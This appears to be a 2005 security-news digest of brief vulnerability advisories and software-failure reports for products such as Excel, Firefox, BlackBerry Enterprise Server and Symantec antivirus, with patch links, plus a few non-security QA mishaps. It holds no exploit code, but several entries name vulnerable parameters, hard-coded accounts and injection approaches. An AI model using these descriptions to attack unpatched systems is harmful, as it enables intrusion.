An unknown security researcher chose a novel way to issue a warning for a code execution flaw in Excel -- posting it for sale on eBay. But the auction was pulled late Thursday, December 8, after discussions between Microsoft and eBay Inc. When the auction was squashed, the bidding had reached \$53 and had attracted 19 offers. A spokesperson for Microsoft confirmed that the eBay listing was indeed a legitimate security flaw in Excel. In the listing, posted by a seller named "fearwall," the issue is described as a zero-day vulnerability that was discovered on Tuesday, December 6, 2005, and reported to Microsoft. The seller openly taunts the software giant, poking fun at the company's delays in providing fixes for known security bugs. "It can be assumed that no patch addressing this vulnerability will be available within the next few months. So, since I was unable to find any use for this by-product of Microsoft developers, it is now available for you at the low starting price of \$0.01 (a fair value estimation for any Microsoft product)," the listing read.

Category 21.1 General QA failures
2005-12-12 **vulnerability hole Nortel SSL VPN Web interface remote command execution upgrade issued**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/2845>

NORTEL SSL VPN WEB INTERFACE REMOTE COMMAND EXECUTION VULNERABILITY

A vulnerability has been identified in Milliscripts, which may be exploited by attackers to execute arbitrary commands. This is due to an input validation error in the "tunnelform.yaws" script when processing a specially crafted "a" parameter, which may be exploited by attackers to inject arbitrary commands via the embedded Java Applet and cause malicious scripting code to be executed by the user's browser in the security context of an affected Website. Solution: Upgrade to version 5.1.5.

Category 21.1 General QA failures
2005-12-12 **vulnerability attack Web Internet Mozilla Firefox bug arbitrary code execution**

DHS IAIP Daily;
http://www.infoworld.com/article/05/12/12/Hnmozillabug_1.html

NEW ATTACK TARGETS KNOWN MOZILLA BUG

Computer users who have not upgraded to the latest version of Mozilla Corp.'s Firefox browser may now have an extra incentive to do so, thanks to a hacker going by the name of Aviv Raff. On Sunday, December 11, Raff published a sample code (<http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx>) that could be used to take over the computers of Firefox users running version 1.0.4 or earlier of the browser. The exploit takes advantage of a known bug (<http://www.mozilla.org/security/announce/mfsa2005-50.html>) in the way that Firefox processes the popular Javascript Web programming language. "I think it's been enough time for people to upgrade from v1.0.4. of Firefox. So, here is the PoC [proof of concept] exploit for the...vulnerability," he wrote on his blog. The bug was fixed in Mozilla version 1.0.5, which was released last July, and has also been fixed in version 1.7.9 of the Mozilla Suite, said Mike Schroepfer, vice president of engineering with Mozilla Corp. In some ways, this latest exploit is similar to the attack code that has been circulating for Microsoft's Internet Explorer browser, said Russ Cooper, scientist with security vendor Cybertrust Inc. "It can install and run code of the attacker's choice if a victim visits a malicious Website," he said.

Category 21.1 General QA failures
2005-12-13 **vulnerability Microsoft DirectX DirectShow AVI processing buffer overflow solution issued**

DHS IAIP Daily; <http://www.securityfocus.com/bid/15063/references>

MICROSOFT DIRECTX DIRECTSHOW AVI PROCESSING BUFFER OVERFLOW VULNERABILITY

A buffer overflow vulnerability exists in the Microsoft Windows DirectX component. This issue is related to processing of .AVI (Audio Visual Interleave) media files. The specific vulnerability exists in DirectShow and could be exposed through applications that employ DirectShow to process .AVI files. Successful exploitation will permit execution of arbitrary code in the context of the user who opens a malicious .AVI file. This issue could be exploited through any means that will allow the attacker to deliver a malicious .AVI file to a victim user. In Web-based attack scenarios, exploitation could occur automatically if the malicious Webpage can cause the .AVI file to be loaded automatically by Windows Media Player. Other attack vectors such as email or instant messaging may require the victim user to manually open the malicious .AVI. Solution:
<http://www.securityfocus.com/bid/15063/solution>

Category 21.1

General QA failures

2005-12-14

Microsoft Software Update Services SUS glitch security patches

DHS IAIP Daily;

http://www.infoworld.com/article/05/12/14/HNmSPatches_1.html

MICROSOFT'S SECURITY PATCHES HIT SNAG

Some users of Microsoft Corp.'s Software Update Services (SUS) may be experiencing a minor annoyance, thanks to a glitch in the company's latest security patches, released Tuesday, December 13. The latest update may be changing the status of software updates that had been previously approved by administrators who use the service, according to Microsoft. "If you synchronize your server after December 12, 2005, all previously approved updates may be unapproved and the status may appear as 'updated,'" Microsoft said in a note published Wednesday, December 14. SUS is used by Microsoft administrators to gain more control over which Microsoft software patches get installed on their network. When a patch has been tested and determined to be appropriate for installation, it can be marked as "approved" and then automatically installed on the PCs being managed by the service. Tuesday's glitch disrupts that process. The problem is that the latest updates appear to have overwritten a file that is used to keep track of approved updates, said Russ Cooper, a scientist at security vendor Cybertrust Inc. The simplest solution is to simply restore this file, called Approveditems.txt, from a backup copy, Cooper said.

Category 21.1

General QA failures

2005-12-16

vulnerability quality assurance Q&A Microsoft Internet Explorer IE7 critical fix

DHS IAIP Daily; http://news.com.com/Microsoft+patch+jams+up+IE/2100-1002_3-5_999193.html

MICROSOFT PATCH JAMS UP IE

The "critical" security fix for Internet Explorer (IE) available last Tuesday, December 13, is causing trouble for users who have been testing the new IE 7 browser. Microsoft has received "scattered reports of users experiencing odd browser behavior" after installing the latest security update, Jeremy Dallman, project manager for IE security at the company, wrote in a Friday, December 16, posting to a corporate blog. Three different problems have been reported: The browser could crash right after starting up; links may come up blank; or multiple windows may open when the browser is initiated, according to the posting. "After investigating several of these reports, we have traced these issues to a common source," Dallman wrote. The culprit is IE 7, the next version of Microsoft's Web browser, which is in beta testing. The problems occur only if IE 7 is installed on a machine alongside IE 6. That double-IE configuration is not supported by the fix, according to Dallman's note. When installed next to IE 6, the first beta of IE 7 will add an incorrectly configured key to the Windows Registry the first time it is run, he wrote. This can be resolved by deleting the key from the Windows Registry.

Category 21.1 General QA failures
2005-12-16 **compiler trust trusted computing base Trojan horse insertion code software engineering quality assurance design flaws subversion**

RISKS; <http://www.acsa-admin.org/2005/abstracts/47.html> 24 13

COUNTERING TRUSTING TRUST THROUGH DIVERSE DOUBLE-COMPILING

David A. Wheeler published a paper about trusting compilers.

>Everyone here should be familiar with Ken Thompson's famous "Reflections on Trusting Trust." If not, see: <<http://www.acm.org/classics/sep95/>>. The "trusting trust" attack subverts the compiler binary; if attacker succeeds, you're doomed. Well, till now.

I've written a paper on an approach to counter this attack. See: "Countering Trusting Trust through Diverse Double-Compiling."

Here's the abstract:

An Air Force evaluation of Multics, and Ken Thompson's famous Turing award lecture "Reflections on Trusting Trust," showed that compilers can be subverted to insert malicious Trojan horses into critical software, including themselves. If this attack goes undetected, even complete analysis of a system's source code will not find the malicious code that is running, and methods for detecting this particular attack are not widely known. This paper describes a practical technique, termed diverse double-compiling (DDC), that detects this attack and some unintended compiler defects as well. Simply recompile the purported source code twice: once with a second (trusted) compiler, and again using the result of the first compilation. If the result is bit-for-bit identical with the untrusted binary, then the source code accurately represents the binary. This technique has been mentioned informally, but its issues and ramifications have not been identified or discussed in a peer-reviewed work, nor has a public demonstration been made. This paper describes the technique, justifies it, describes how to overcome practical challenges, and demonstrates it.<

Category 21.1 General QA failures
2005-12-20 **Kansas state lottery non-random pseudo-random number generator winning quality assurance QA software design flaw**

RISKS; <http://abcnews.go.com/US/story?id=1425383> 24 13

"RANDOM" LOTTERY WINNERS?

The same three numbers (5-0-9) came up in the same order on 16, 17, and 18 Dec 2005 in the Kansas Lottery Pick Three. On the third night, many people apparently chose 5-0-9, costing the lottery nearly twice what was paid in. Lottery security officials insist that the system was working normally. (Perhaps the random-number generator had gone to seed?)

[Abstract by Peter G. Neumann]

Category 21.1 General QA failures
2005-12-21 **vulnerability Cisco downloadable RADIUS policies information disclosure**

DHS IAIP Daily; <http://www.securityfocus.com/bid/16025/info>

CISCO DOWNLOADABLE RADIUS POLICIES INFORMATION DISCLOSURE VULNERABILITY

Cisco PIX and VPN 3000 concentrators, when managed by Cisco Secure Access Control Servers are vulnerable to an information disclosure vulnerability. This issue is due to a design flaw that communicates sensitive information over an unencrypted communications channel. This issue allows remote attackers with the ability to gain access to sensitive information if they can sniff network packets traveling between affected devices and the RADIUS server. This information potentially aids them in further attacks. Specific Cisco versions and products affected by this issue are not currently known. The list of affected packages will be updated as further information is disclosed.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>		
2005-12-23		spreadsheet software quality assurance assumptions questions		
RISKS; http://www.sciencenews.org/articles/20051217/mathtrek.asp			24	13
QUESTIONING SPREADSHEET SOFTWARE QUALITY ASSURANCE				

Spreadsheets create an illusion of orderliness, accuracy, and integrity. The tidy rows and columns of data, instant calculations, eerily invisible updating, and other features of these ubiquitous instruments contribute to this soothing impression. At the same time, faulty spreadsheets and poor spreadsheet practices have been implicated in a wide variety of business and financial problems.

[Abstract by Peter G. Neumann]

RISKS moderator Dr Neumann (PGN) adds:

PGN-excerpted from a nice article with a bunch of references, including Ivars' 1996 book, Fatal Defect: Chasing Killer Computer Bugs, which itself cited some earlier RISKS reports. The last two references are particularly relevant:

The European Spreadsheet Risks Interest Group (EuSpRIG) has a Web site at <http://www.eusprig.org/>.

Spreadsheet Research, maintained by Ray Panko of the University of Hawaii, is a repository for research on spreadsheet development, testing, use, and technology: <http://panko.cba.hawaii.edu/ssr/>.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>		
2005-12-24		PC NetLink unsafe temporary files elevated privileges target unsafe arbitrary information Security Tracker solution patch		

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Dec/1015409.html>

PC NetLink 'slsadmin' unsafe temporary files lets local users gain elevated privileges.

A vulnerability was reported in PC NetLink in the 'slsadmin' command. A local user may be able to gain elevated privileges on the target system. The '/etc/init.d/slsadmin' command in PC NetLink 2.0 opens files in the '/tmp' directory in an unsafe manner. A local user can cause arbitrary information to be written to the filesystem with the permissions of the user running 'slsadmin'. As a result, the local user can cause arbitrary code to be executed. A local user can write files to execute arbitrary code on the target system. The code will run with the privileges of the target user running 'slsadmin'. Security Tracker reports that a solution is available for PC NetLink 2.0 (for Solaris 7, 8 and 9) with patch 121332-01 or later. Solution: <http://www.sunsolve.sun.com/search/document.do?assetkey=1-26-102117-1>

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>		
2005-12-24		PC NetLink unsafe temporary files elevated privileges target unsafe arbitrary information Security Tracker solution patch		

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Dec/1015408.html>

PC Netlink 'slsmgr' unsafe temporary files lets local users gain elevated privileges.

A vulnerability was reported in PC NetLink in the 'slsmgr' command. A local user may be able to gain elevated privileges on the target system. The '/opt/lanman/sbin/slsmgr' command in PC NetLink 2.0 opens files in the '/tmp' directory in an unsafe manner. A local user can cause arbitrary information to be written to the filesystem with the permissions of the user running 'slsmgr'. A local user is then able to write files to execute arbitrary code on the target system. The code will run with the privileges of the target user running 'slsmgr'. Security Tracker reports that a fix has been issued for PC NetLink 2.0 (for Solaris 7, 8 and 9) with patch 121209-01 or later. Solution: <http://sunsolve.sun.com/search/document.do?assetkey=1-26-102122-1>

Category 21.1 General QA failures
2005-12-26 **Golden FTP Server APPE buffer overflow vulnerability boundary error command supplying argument Secunia connected trusted networks**

DHS IAIP Daily; <http://secunia.com/advisories/18245/>
Golden FTP Server APPE command buffer overflow vulnerability.

A vulnerability in Golden FTP Server can be exploited to compromise a vulnerable system. The vulnerability is caused due to a boundary error in the handling of the "APPE" FTP command. This can be exploited to cause a buffer overflow by supplying an overly long argument. The vulnerability has been confirmed in version 1.92. Other versions may also be affected. Secunia reports that the problem can be avoided by using the product only when connected to trusted networks.

Category 21.1 General QA failures
2005-12-28 **Microsoft Window Graphics Engine WMF format code execution vulnerability malicious file remotely attacker privileges Security Focus patches**

DHS IAIP Daily; <http://www.securityfocus.com/bid/16074/discuss>
MICROSOFT WINDOWS GRAPHICS RENDERING ENGINE WMF FORMAT UNSPECIFIED CODE EXECUTION VULNERABILITY.

Microsoft Windows WMF graphics rendering engine is affected by a remote code execution vulnerability. The problem presents itself when a user views a malicious WMF formatted file, triggering the vulnerability when the engine attempts to parse the file. The issue may be exploited remotely or by a local attacker. Any code execution that occurs will be with SYSTEM privileges due to the nature of the affected engine. Microsoft Windows XP is considered to be vulnerable at the moment. It is likely that other Windows operating systems are affected as well. Security Focus is not aware of any vendor-supplied patches for this issue.

Category 21.1 General QA failures
2005-12-29 **quality assurance QA bank system automatic debit**

RISKS; BBC <http://news.bbc.co.uk/1/hi/uk/4567944.stm> 24 14
AUTOMATIC DONATIONS MULTIPLIED BY 100

Approximately 10,000 UK supporters of Greenpeace who make regular donations by direct debit have accidentally had their bank accounts debited by a hundred times their usual amount, with its software adding two noughts to the latest batch of direct debit demands.

I would hazard a guess that some manual intervention was made, perhaps to update the records for a new calendar year, leading to a mistake by a real human being rather than "the computer."

[Abstract and comments by Nick Rothwell]

Category 21.1 General QA failures
2005-12-31 **denial of service DoS vulnerability Enterprise Server Router SRP Pack Blackberry no update software**

DHS IAIP Daily; <http://www.securityfocus.com/bid/16100/solution> 23
BLACKBERRY ENTERPRISE SERVER ROUTER SRP PACKET DENIAL OF SERVICE VULNERABILITY

The Blackberry Enterprise Server Router component is prone to a denial of service vulnerability. This vulnerability may be triggered by sending malformed SRP (Server Routing Protocol) packets to the router. This could only be exploited by an attacker who can communicate with the router. Security Focus reports that the vendor has acknowledged the issue and stated that it will be corrected in future releases. Security Focus is unaware of any vendor-supplied patches for this issue.

Category 21.1 *General QA failures*
2005-12-31 **denial of service DoS vulnerability Enterprise Server Attachment Service TIFF attachment Blackberry heap buffer overflow no update software**

DHS IAIP Daily; <http://www.securityfocus.com/bid/16098/solution> 23
BLACKBERRY ENTERPRISE SERVER ATTACHMENT SERVICE TIFF ATTACHMENT DENIAL OF SERVICE VULNERABILITY

Research In Motion Blackberry Enterprise Server is prone to denial of service attacks. This issue affects the Attachment Service and may be triggered by a malformed TIFF attachment. The issue is reportedly caused by a heap-based buffer overflow. Security Focus reports that the vendor has stated that this issue will result in a denial of service, and it is therefore not believed that the issue is exploitable beyond a denial of service at the time of writing. This BID will be updated if further information is made available that contradicts this assumption. Security Focus is unaware of any vendor-supplied patches for this issue.

21.2 Security product QA failures

Category 21.2

Security product QA failures

2005-01-11

mpg123 Motion Pictures Experts Group MPEG layer-2 buffer overflow vulnerability code execution attack no update issued

DHS IAIP Daily; <http://secunia.com/advisories/13779/>

MPG123 MPEG LAYER-2 BUFFER OVERFLOW VULNERABILITY

A vulnerability has been reported in mpg123, which potentially can be exploited by malicious people to compromise a user's system. The vulnerability is caused due to an error in the parsing of frame headers for layer-2 streams. This may be exploited to cause a heap-based buffer overflow via a specially crafted MP2 or MP3 file. Successful exploitation may allow execution of arbitrary code with the privileges of the user executing mpg123. There is no solution at this time.

Category 21.2

Security product QA failures

2005-01-12

Apple iTunes playlist handling buffer overflow vulnerability code execution attack

DHS IAIP Daily; <http://secunia.com/advisories/13804/>

SECUNIA ADVISORY SA13804: APPLE ITUNES PLAYLIST HANDLING BUFFER OVERFLOW VULNERABILITY

A vulnerability in iTunes can be exploited by malicious people to compromise a user's system. The vulnerability is caused due to a boundary error within the handling of .m3u and .pls playlists. This can be exploited to cause a buffer overflow via a specially crafted playlist. Successful exploitation may allow execution of arbitrary code.

Category 21.2

Security product QA failures

2005-01-17

MySQL script vulnerability privilege escalation attack update issued

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Jan/1012914.html>

MYSQL 'MYSQLACCESS.SH' UNSAFE TEMPORARY FILES MAY LET LOCAL USERS GAIN ELEVATED PRIVILEGES

A vulnerability was reported in MySQL in the 'mysqlaccess.sh' script. A local user may be able to obtain elevated privileges. Mmysqlaccess.sh, creates temporary files in an unsafe manner. A local user can create a symbolic link (symlink) from a critical file on the system to a temporary file to be used by the script. Then, when the script is executed, the sym-linked file may be modified with the privileges of the script. A fix is available via Bitkeeper at: <http://lists.mysql.com/internals/20600>

Category 21.2

Security product QA failures

2005-01-17

VMWare operating system emulator ESX server sensitive information disclosure vulnerability update issued

DHS IAIP Daily; <http://secunia.com/advisories/13871/>

VMWARE ESX SERVER THREE VULNERABILITIES

VMware has acknowledged some vulnerabilities in ESX Server, which can be exploited to disclose sensitive information in kernel memory, bypass certain security restrictions, and potentially compromise a vulnerable system. Update to version 2.5 or apply security update available at: <http://www.vmware.com/download/esx/>

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-01-17		BlackBerry Enterprise Server denial of service DoS vulnerability Wireless Markup Language WML update issued

DHS IAIP Daily; <http://secunia.com/advisories/13861/>

BLACKBERRY ENTERPRISE SERVER MOBILE DATA SERVICE DENIAL OF SERVICE.

A vulnerability has been reported in BlackBerry Enterprise Server, which can be exploited by malicious people to cause a DoS (Denial of Service). The vulnerability is caused due to an error in the Mobile Data Service when processing WML (Wireless Markup Language) pages and can be exploited by tricking a user into viewing a malicious WML page containing an URL without space characters in the comment block. The vulnerability has been fixed in the following versions: BlackBerry Enterprise Server for Domino 2.2 Service Pack 4 Hot Fix 2 and BlackBerry Enterprise Server for Microsoft Exchange 3.6 Service Pack 4 Hot Fix 2.

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-01-18		Unix Linux Xpdf stack based buffer overflow vulnerability code execution attack update issued

DHS IAIP Daily; <http://www.securityfocus.com/archive/1/387583/2005-01-16/2005-01-22/2>

MULTIPLE UNIX/LINUX VENDOR XPDF MAKEFILEKEY2 STACK OVERFLOW

Remote exploitation of a buffer overflow vulnerability in the xpdf PDF viewer included in multiple Unix and Linux distributions could allow for arbitrary code execution as the user viewing a PDF file. Successful exploitation of this vulnerability leads to arbitrary code execution as the user who opened the malicious file. An attacker would have to convince a target to open the provided file in order to exploit this vulnerability. A patch to address this issue is available at: <ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.00pl3.patch>. Updated binaries (ver. 3.00pl3) to address this issue are available at: <http://www.foolabs.com/xpdf/download.html>

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-01-19		Oracle products multiple vulnerabilities injection denial of service DoS attack update issued

DHS IAIP Daily; <http://secunia.com/advisories/13862/>

ORACLE PRODUCTS HAVE TWENTY-THREE VULNERABILITIES.

Twenty-three vulnerabilities have been reported in various Oracle products. Some have an unknown impact and others can be exploited to disclose sensitive information, gain escalated privileges, conduct PL/SQL injection attacks, manipulate information, or cause a DoS (Denial of Service). Patches are available through the vendor.

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-01-21		Ethereal network sniffer packet dissector vulnerabilities denial of service DoS update issued

DHS IAIP Daily; <http://secunia.com/advisories/13946/>

ETHEREAL MULTIPLE UNSPECIFIED PACKET DISSECTOR VULNERABILITIES

Multiple vulnerabilities have been reported in Ethereal, which can be exploited by malicious people to cause a DoS (Denial of Service) or potentially compromise a vulnerable system. These vulnerabilities include errors in the COPS dissector, the DLSw dissector, the DNP dissector, the Gnutella dissector, the MMSE dissector, and the X11 dissector. Update to version 0.10.9: <http://www.ethereal.com/download.html>

Category 21.2 Security product QA failures
2005-01-26 **Avaya products multiple vulnerabilities denial of service DoS privilege escalation attack**

DHS IAIP Daily; <http://secunia.com/advisories/14011/>

AVAYA PRODUCTS MULTIPLE VULNERABILITIES

Multiple vulnerabilities have been reported in Avaya products, which can be exploited by malicious people to cause a Denial of Service or compromise a vulnerable system. Avaya has multiple vulnerabilities in: libtiff / zip / vim / unarj /openmotif / postgresql / lesslif / pine / xpdf ; which potentially can be exploited to cause a DoS (Denial of Service), a user can gain escalated privileges, or compromise a vulnerable system. The vendor recommends the following: restrict local access to the server; do not open or view PDF files, and XPM and TIFF images; do not compress or decompress files from untrusted sources; do not enable modeline or filetype plugins in VIM; do not run the "make_oidjoins_check" script.

Category 21.2 Security product QA failures

2005-01-27 **Juniper JUNOS remote denial of service vulnerability DoS**

DHS IAIP Daily; <http://secunia.com/advisories/14049/>

JUNIPER JUNOS UNSPECIFIED REMOTE DENIAL OF SERVICE VULNERABILITY

A new vulnerability has been identified in Juniper Networks routers running JUNOS software, which can be exploited by attackers to cause a Denial of Service. The vulnerability is caused due to an unspecified error within the processing of certain network packets. This can be exploited to disrupt the operation of a vulnerable device via some specially crafted network packets. According to Juniper, it is not possible to use firewall filters to protect vulnerable routers. The vulnerability affects all releases of JUNOS built prior to 2005-01-07. Users registered at Juniper's support site can view patch information at: <https://www.juniper.net/alerts/viewalert.jsp?txtAlertNumber=PSN-2005-01-009&actionBtn=Search>

Category 21.2 Security product QA failures

2005-01-31 **HP VirtualVault TGA Trusted Gateway Agent vulnerability denial of service DoS update issued**

DHS IAIP Daily; <http://secunia.com/advisories/14082/>

HP VIRTUALVAULT TRUSTED GATEWAY AGENT DENIAL OF SERVICE VULNERABILITY

A vulnerability has been reported in HP VirtualVault, which can be exploited by malicious people to cause a Denial of Service. The vulnerability is caused due to an unspecified error in the TGA (Trusted Gateway Agent) daemon and can be exploited via specially crafted network traffic. Apply patch available through the vendor.

Category 21.2 Security product QA failures

2005-02-02 **Cisco Internet Protocol videoconferencing IP/VC product vulnerability remote user access device hijacking workaround issued**

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Feb/1013067.html>

CISCO IP/VC HARD-CODED SNMP COMMUNITY STRINGS LET REMOTE USERS ACCESS THE DEVICE

A vulnerability was reported in Cisco's IP/VC videoconferencing products. A remote user can gain access to the system using common default SNMP community strings. A user with knowledge of the community strings can gain full control of the device. Such users can, among other things, create new services, terminate or affect existing sessions, and redirect traffic to a different destination. Cisco has described a workaround in their advisory, available at: <http://www.cisco.com/public/technotes/cisco-sa-20050202-ipvc.shtml>

Category 21.2 Security product QA failures
2005-02-03 **Microsoft bulletin patch fix update release critical important Windows operating system Media Player MSN Messenger**

DHS IAIP Daily; http://news.com.com/Windows+glitches+to+get+fixes/2100-1002_3-5562678.html

MICROSOFT TO RELEASE 13 UPDATES - AT LEAST ONE CRITICAL

Thirteen Microsoft patches will be released next Tuesday, February 8, including nine fixes for Windows flaws. At least one of the updates for the Windows operating system is rated "critical," its highest rating, Microsoft said Thursday, February 3, in a posting to its TechNet site. The forewarning is part of the company's program to give regular computer users notice of monthly security bulletins before the patches themselves are released. These updates will patch a critical flaw affecting Office and Visual Studio, and another critical flaw involving Windows, Windows Media Player and MSN Messenger. Also on the way are a patch for an "important" vulnerability in .Net Framework and a fix for "moderate" problems with SharePoint Services and Office. Bulletin: <http://www.microsoft.com/technet/security/bulletin/advance.msp>

Category 21.2 Security product QA failures
2005-02-04 **Mozilla application suite Hewlett-Packard HP Tru64 UNIX vulnerability denial of service DoS attack update issued**

DHS IAIP Daily; <http://secunia.com/advisories/14133/>

MOZILLA APPLICATION SUITE "MSG_UNESCAPESEARCHURL()" BUFFER OVERFLOW

HP has confirmed a vulnerability in Mozilla Application Suite for Tru64 UNIX, which can be exploited by malicious people to cause a Denial of Service and potentially compromise a user's system. The vulnerability is caused due to a boundary error in the "MSG_UnEscapeSearchUrl()" function in "nsNNTPProtocol.cpp" when processing NNTP URIs. Update to Mozilla Application Suite 1.7.5: <http://h30097.www3.hp.com/internet/download.htm>

Category 21.2 Security product QA failures
2005-02-07 **Emacs editor open source vulnerability movemail format string Post Office Protocol POP code execution attack**

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Feb/1013100.html>

EMACS MOVEMAIL FORMAT STRING FLAW MAY LET REMOTE POP SERVERS EXECUTE ARBITRARY CODE

The vendor reported that a remote POP3 mail server can send a specially crafted response to a connected movemail client to trigger a format string flaw and execute arbitrary code on the target client. The code will execute with the privileges of the movemail process. On some systems, movemail is configured with set group id (setgid) 'mail' group privileges. The flaw resides in 'movemail.c'. A fixed version of XEmacs (21.4.17) is available at: <ftp://ftp.xemacs.org/pub/xemacs/xemacs-21.4>

Category 21.2 Security product QA failures
2005-02-08 **SquirrelMail S/MIME Multipurpose Internet Mail Extension vulnerability command injection attack command execution update issued**

DHS IAIP Daily; <http://www.k-otik.com/english/advisories/2005/0115>

SQUIRRELMAIL S/MIME PLUGIN COMMAND INJECTION VULNERABILITY

A command injection vulnerability was reported in the Squirrelmail S/MIME plugin 0.5, which may be exploited by malicious users to execute arbitrary commands. The problem exists due to a missing input sanitizing error when handling the "cert" [viewcert.php] variable. Update to SquirrelMail S/MIME Plugin version 0.6: http://www.squirrelmail.org/plugin_view.php?id=54

Category 21.2 Security product QA failures
2005-02-09 **Symantec UPX heap based buffer overflow vulnerability DEC2EXE parsing engine update issued**

DHS IAIP Daily; <http://secunia.com/advisories/14179>

SYMANTEC MULTIPLE PRODUCTS UPX PARSING ENGINE BUFFER OVERFLOW

A vulnerability has been reported in multiple Symantec products, which can be exploited by malicious people to execute arbitrary code on a vulnerable system. The vulnerability is caused due to a boundary error in the DEC2EXE parsing engine used by the antivirus scanning functionality when processing UPX compressed files. This can be exploited to cause a heap-based buffer overflow via a specially crafted UPX file. Original advisory and updates:
<http://www.sarc.com/avcenter/security/Content/2005.02.08.htm>

Category 21.2 Security product QA failures
2005-02-10 **F-Secure security vendor ARJ archive handling vulnerability code execution attack update issued**

DHS IAIP Daily; <http://secunia.com/advisories/14216/>

F-SECURE MULTIPLE PRODUCTS ARJ ARCHIVE HANDLING VULNERABILITY

A vulnerability has been reported in multiple F-Secure products, which can be exploited by malicious people to compromise a vulnerable system. The vulnerability is caused due to a boundary error in the antivirus scanning functionality when processing ARJ archives. This can be exploited to cause a buffer overflow via a specially crafted ARJ archive. Successful exploitation allows execution of arbitrary code, but requires that the malicious ARJ archive is scanned with archive scanning enabled. Updates and original advisory available: <http://www.f-secure.com/security/fsc-2005-1.shtml>

Category 21.2 Security product QA failures
2005-02-10 **BrightStor ARCserve Backup discovery service buffer overflow code execution attack update issued**

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Feb/1013138.html>

BRIGHTSTOR ARCSERVE BACKUP BUFFER OVERFLOW IN DISCOVERY SERVICE LETS REMOTE USERS EXECUTE ARBITRARY CODE

A buffer overflow vulnerability in BrightStor ARCserve Backup may permit a remote user to execute arbitrary code on the target system. A remote user can send a specially crafted UDP probe to the Discovery Service on the target system to trigger a buffer overflow of data returned from the recvfrom() function. Vendor updates are available: <http://supportconnect.ca.com>

Category 21.2 Security product QA failures
2005-02-11 **Barracuda spam firewall 200 vulnerability open mail relay configuration update firmware**

DHS IAIP Daily; <http://secunia.com/advisories/14243/>

BARRACUDA SPAM FIREWALL 200 OPEN MAIL RELAY VULNERABILITY

A vulnerability exists which can be exploited by white-listed senders to use Barracuda Spam Firewall as an open mail relay regardless of what domains Barracuda Spam Firewall is configured. Update to firmware 3.1.11 or later.

Category 21.2 Security product QA failures
2005-02-11 **BrightStor ARCserve Backup default administrator account unauthorized access code execution attack update issued**

DHS IAIP Daily; <http://secunia.com/advisories/14233/>

BRIGHTSTOR ARCSERVE BACKUP DEFAULT ADMINISTRATOR ACCOUNT

A security issue has been reported in BrightStor ARCserve/Enterprise Backup, which can be exploited by malicious people to gain unauthorized access. The product contains a hard-coded, undocumented administrative account for the Common Agent component. Successful exploitation grants administrative access to the system and may allow execution of arbitrary code. Apply patches available at: <http://supportconnect.ca.com>

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-02-12		Advanced Guestbook SQL injection vulnerability administrative access proof of concept exploits update issued

DHS IAIP Daily; <http://www.securityfocus.com/bid/10209/discussion/>

ADVANCED GUESTBOOK PASSWORD PARAMETER SQL INJECTION VULNERABILITY

It has been reported that Advanced Guestbook is prone to a SQL injection vulnerability that could allow an attacker to gain administrative access to the application. Proof of Concept exploits indicate that it is possible to trigger this issue by leaving the username or password entry blank and then entering certain strings in the password or username fields. This vulnerability is reportedly fixed in version 2.3.1.

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-02-22		NTLM Kerberos authentication open source buffer overflow vulnerabilities update issued

DHS IAIP Daily; <http://secunia.com/advisories/14364/>

CURL/LIBCURL NTLM AND KERBEROS AUTHENTICATION BUFFER OVERFLOWS

Two vulnerabilities have been reported in cURL/libcURL 7.12.1, which can be exploited by malicious people to compromise a user's system. Boundary errors in the "Curl_input_ntlm()" and the "Curl_krb_kauth()" function can be exploited to cause a stack-based buffer overflow. Updates available at: http://cool.haxx.se/cvs.cgi/curl/lib/http_ntlm.c.diff?r1=1.3 6&r2=1.37

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-02-24		Trent Micro Antivirus VSAPI ARJ archives vulnerability command execution attack
DHS IAIP Daily; http://www.k-otik.com/english/advisories/2005/0203		

TREND MICRO PRODUCTS VSAPI ARJ ARCHIVES PROCESSING VULNERABILITY

A critical vulnerability was reported in several Trend Micro products, and could be exploited by attackers or worms to execute arbitrary commands. The problem is due to a buffer overflow error in the ARJ archive file format parser when handling a specially crafted file name field in the local header, which could be exploited by attackers to execute arbitrary commands by sending a specially crafted ARJ archive to a vulnerable scanner. Upgrade to VSAPI 7.510: <http://www.trendmicro.com/download/engine.asp>

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-02-24		ACNS denial of service default password vulnerabilities denial of service DoS attack
DHS IAIP Daily; http://www.cisco.com/warp/public/707/cisco-sa-20050224-acnsd.os.shtml		

CISCO — ACNS DENIAL OF SERVICE AND DEFAULT ADMIN PASSWORD VULNERABILITIES.

Devices running Cisco Application and Content Networking System (ACNS) software may be vulnerable to Denial of Service (DoS) attacks and may contain a default password for the administrative account. Devices running ACNS software may be vulnerable to the DoS attacks while configured as a transparent proxy server, forward proxy server, or reverse proxy server. The administrative account default password does not require a software upgrade and can be changed by a configuration command for all affected customers. Vendor solutions available through link below.

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-03-08		Ethereal network sniffer security software stack based buffer overflow vulnerability remote user code execution attack update issued

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Mar/1013399.html>

ETHEREAL BUFFER OVERFLOW IN 3G-A11 DISSECTOR LETS REMOTE USERS EXECUTE ARBITRARY CODE

